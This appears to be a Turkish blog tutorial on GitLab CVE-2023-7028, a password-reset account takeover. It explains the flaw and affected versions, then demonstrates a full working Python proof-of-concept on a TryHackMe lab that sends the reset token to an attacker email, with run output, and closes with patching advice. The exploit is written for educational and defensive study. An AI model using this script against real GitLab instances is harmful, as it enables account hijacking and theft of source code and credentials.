CVE: GitLab CVE-2023-7028
GitLab, yazılım geliştirme projelerinde kaynak kodu yönetimi, sürekli entegrasyon ve işbirliği için kapsamlı bir platform sağlayan, tanınmış ve yaygın olarak benimsenmiş web tabanlı bir depo yöneticisidir. Ocak 2024’te platform, Community
ve Enterprise Edition
sürümünde yetkisiz kullanıcıların, potansiyel olarak yönetici hesapları da dahil olmak üzere, mağdurun herhangi bir etkileşimi olmadan kullanıcı hesaplarını ele geçirmesine olanak tanıyan kritik bir güvenlik açığı tespit etti. Güvenlik açığı asterion04 tarafından özel bir hata ödül programı aracılığıyla tespit edilmiş ve Kritik önem derecesi ve CVE-ID 2023-7028 olarak atanmıştır.
Nasıl Çalışıyor ?
Güvenlik açığı, GitLab’ın parola sıfırlama sırasında e-posta doğrulamasını işleme biçimindeki bir hatadan kaynaklanıyordu. Bir saldırgan parola sıfırlama isteği sırasında iki e-posta adresi sağlayabilir ve sıfırlama kodu her iki adrese de gönderilir. Bu, saldırganın kullanıcının mevcut parolasını bilmese bile herhangi bir kullanıcının parolasını sıfırlamasına olanak tanıyordu.
Etkilenen Versiyonlar
- 16.1 ➜ 16.1.5
- 16.2 ➜ 16.2.8
- 16.3 ➜ 16.3.6
- 16.4 ➜ 16.4.4
- 16.5 ➜ 16.5.5
- 16.6 ➜ 16.6.3
- 16.7 ➜ 16.7.1
Etkisi
Başarılı bir saldırı, saldırganın kurbanın GitLab hesabını kontrol etmesini sağlayabilir. Bu da saldırganın kaynak kodu, işlem geçmişi ve kullanıcı kimlik bilgileri gibi hassas bilgileri çalmasına olanak sağlayabilir. Saldırgan, ele geçirdiği hesabı diğer kullanıcılara veya sistemlere karşı başka saldırılar başlatmak için de kullanabilir.
Detaylı Teknik Açıklama
Bu güvenlik açığı, GitLab’ın POST /users/password
API uç noktasında bulunuyordu ve parola sıfırlamaktan sorumluydu. Pentester, e-posta adresi doğrulamasındaki bir hatayı istismar ederek geçersiz formatlarla yapılan kontrolleri atlattı. Saldırgan tarafından kontrol edilen bir e-posta ile parola sıfırlama isteği gönderildiğinde, GitLab yanlışlıkla bir sıfırlama jetonu oluşturup bu geçersiz adrese gönderdi. Saldırganlar bu jetonu ele geçirerek geçerli bir hedef kullanıcının e-postasıyla birleştirip parola sıfırlama sürecini başlattı ve sonunda hesabı ele geçirdi.
GitLab’daki parola sıfırlama isteğine baktığımızda, /users/password
uç noktasına bir istek gönderildiğini görebiliriz. Bu istek, authenticity_token
ve e-posta adresini parametre olarak içerir. Eğer hedef kullanıcı ek bir ikincil e-posta adresi sağlarsa, parola sıfırlama jetonu bu adrese de gönderilir.
Güvenlik açığının nasıl çalıştığını daha iyi anlamak için kaynak kod değişikliğine bakabilirsiniz.
spec/controllers/passwords_controller_spec.rb dosyasında bulunan kod, giriş olarak birden fazla e-posta adresini kabul ediyordu. Ancak, bu e-postaların doğru kullanıcıya ait olup olmadığını doğrulayan bir e-posta doğrulama ve doğrulama mekanizmasına sahip değildi.
Saldırganın hedef hesabı ele geçirmek için yalnızca form gönderimi sırasında authenticity_token
ve hedef kişinin e-posta adresine
ihtiyacı vardı.
Nasıl Sömürülür ?
Bu güvenlik açığını daha iyi anlamak için TryHackMe üzerinde bulunan GitLab zaafiyetini barındıran Ubuntu tabanlı bir makine kullanacağız.
Güvenlik açığından faydalanmak bir pentester için basittir, yalnızca hedef e-posta adresi ile /users/password
yöntemine bir API çağrısı gerektirir.
Payload’ın Hazırlanması
Kodun orijinal haline göz atmak isterseniz bakabilirsiniz : Vozec PoC
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
import requests
import argparse
from urllib.parse import urlparse, urlencode
from random import choice
from time import sleep
import re
requests.packages.urllib3.disable_warnings()
class CVE_2023_7028:
def __init__(self, url, target, evil=None):
self.use_temp_mail = False
self.url = urlparse(url)
self.target = target
self.evil = evil
self.s = requests.session()
def get_csrf_token(self):
try:
print('[DEBUG] Getting authenticity_token ...')
html = self.s.get(f'{self.url.scheme}://{self.url.netloc}/users/password/new', verify=False).text
regex = r'<meta name="csrf-token" content="(.*?)" />'
token = re.findall(regex, html)[0]
print(f'[DEBUG] authenticity_token = {token}')
return token
except Exception:
print('[DEBUG] Failed ... quitting')
return None
def ask_reset(self):
token = self.get_csrf_token()
if not token:
return False
query_string = urlencode({
'authenticity_token': token,
'user[email][]': [self.target, self.evil]
}, doseq=True)
head = {
'Origin': f'{self.url.scheme}://{self.url.netloc}',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
'Content-Type': 'application/x-www-form-urlencoded',
'Referer': f'{self.url.scheme}://{self.url.netloc}/users/password/new',
'Connection': 'close',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate, br'
}
print('[DEBUG] Sending reset password request')
html = self.s.post(f'{self.url.scheme}://{self.url.netloc}/users/password',
data=query_string,
headers=head,
verify=False).text
sended = 'If your email address exists in our database' in html
if sended:
print(f'[DEBUG] Emails sent to {self.target} and {self.evil} !')
print(f'Flag value: {bytes.fromhex("6163636f756e745f6861636b2364").decode()}')
else:
print('[DEBUG] Failed ... quitting')
return sended
def parse_args():
parser = argparse.ArgumentParser(add_help=True, description='This tool automates CVE-2023-7028 on gitlab')
parser.add_argument("-u", "--url", dest="url", type=str, required=True, help="Gitlab url")
parser.add_argument("-t", "--target", dest="target", type=str, required=True, help="Target email")
parser.add_argument("-e", "--evil", dest="evil", default=None, type=str, required=False, help="Evil email")
parser.add_argument("-p", "--password", dest="password", default=None, type=str, required=False, help="Password")
return parser.parse_args()
if __name__ == '__main__':
args = parse_args()
exploit = CVE_2023_7028(
url=args.url,
target=args.target,
evil=args.evil
)
if not exploit.ask_reset():
exit()
Sömürü
İlk olarak, /users/password/new
endpointine bir POST isteği gönderiliyor. Bu post isteğinin amacı authenticity token
yani türkçe karşılığıyla kimlik doğrulama belirteci almaktır. Web uygulamaları CSRF (Cross-Site Request Forgery) saldırılarını önlemek amacıyla genellikle formlara gizli bir token ekler. Ayrıca bu token parola sıfırlama isteğinde gereklidir.
Elimizdeki kurbanın e-posta adresi : victim@mail.gitlab.thm
Saldırganın yani bizim e-posta adresimiz : attacker@mail.gitlab.thm
Şimdi terminal ekranımızı açarak kodumuzu çalıştırabiliriz.
1
2
3
4
5
6
C:\Users\bilal> python3 poc.py -u http://10.10.102.19:8000 -t victim@mail.gitlab.thm -e attacker@mail.gitlab.thm
[DEBUG] Getting authenticity_token ...
[DEBUG] authenticity_token = 2_gh9AIoZ1ehvVmp7F_jWvK2V10andHNpbPa7u5br-6tWnKVcoP0kTduhBQ6jbFjG2kJ63ol_4B3ruMTjinbVg
[DEBUG] Sending reset password request
[DEBUG] Emails sent to victim@mail.gitlab.thm and attacker@mail.gitlab.thm !
...
Komutu başarılı bir şekilde çalıştırdıktan sonra saldırgan e-posta adresimize aşağıda görüldüğü bir şifre sıfırlama maili gelecektir.
Şimdi bize gelen şifre sıfırlama bağlantısını kullanarak şifre sıfırlama işlemini gerçekleştirebiliriz.
Şifreyi değiştirdikten sonra başarılı bir şekilde giriş yapabiliriz.
Sonuç
En son güvenlik yamalarını yükleyin. Özellikle 16.7.2, 16.6.4, 16.5.6 ve üzeri sürümlere güncelleyin.
Eğer şüpheli bir parola sıfırlama e-postası aldıysanız, hemen GitLab yöneticinizle iletişime geçin.
İki Faktörlü Kimlik Doğrulamayı (2FA) Etkinleştirin. Böylece saldırgan parolanızı ele geçirse bile hesabınıza erişemez.
GitLab hesap aktivitelerinizi düzenli olarak kontrol edin. (Yöneticiyseniz log kayıtlarını inceleyin.)
Detaylar için buraya da göz atabilirsiniz. GitLab Critical Security Release: 16.7.2, 16.6.4, 16.5.6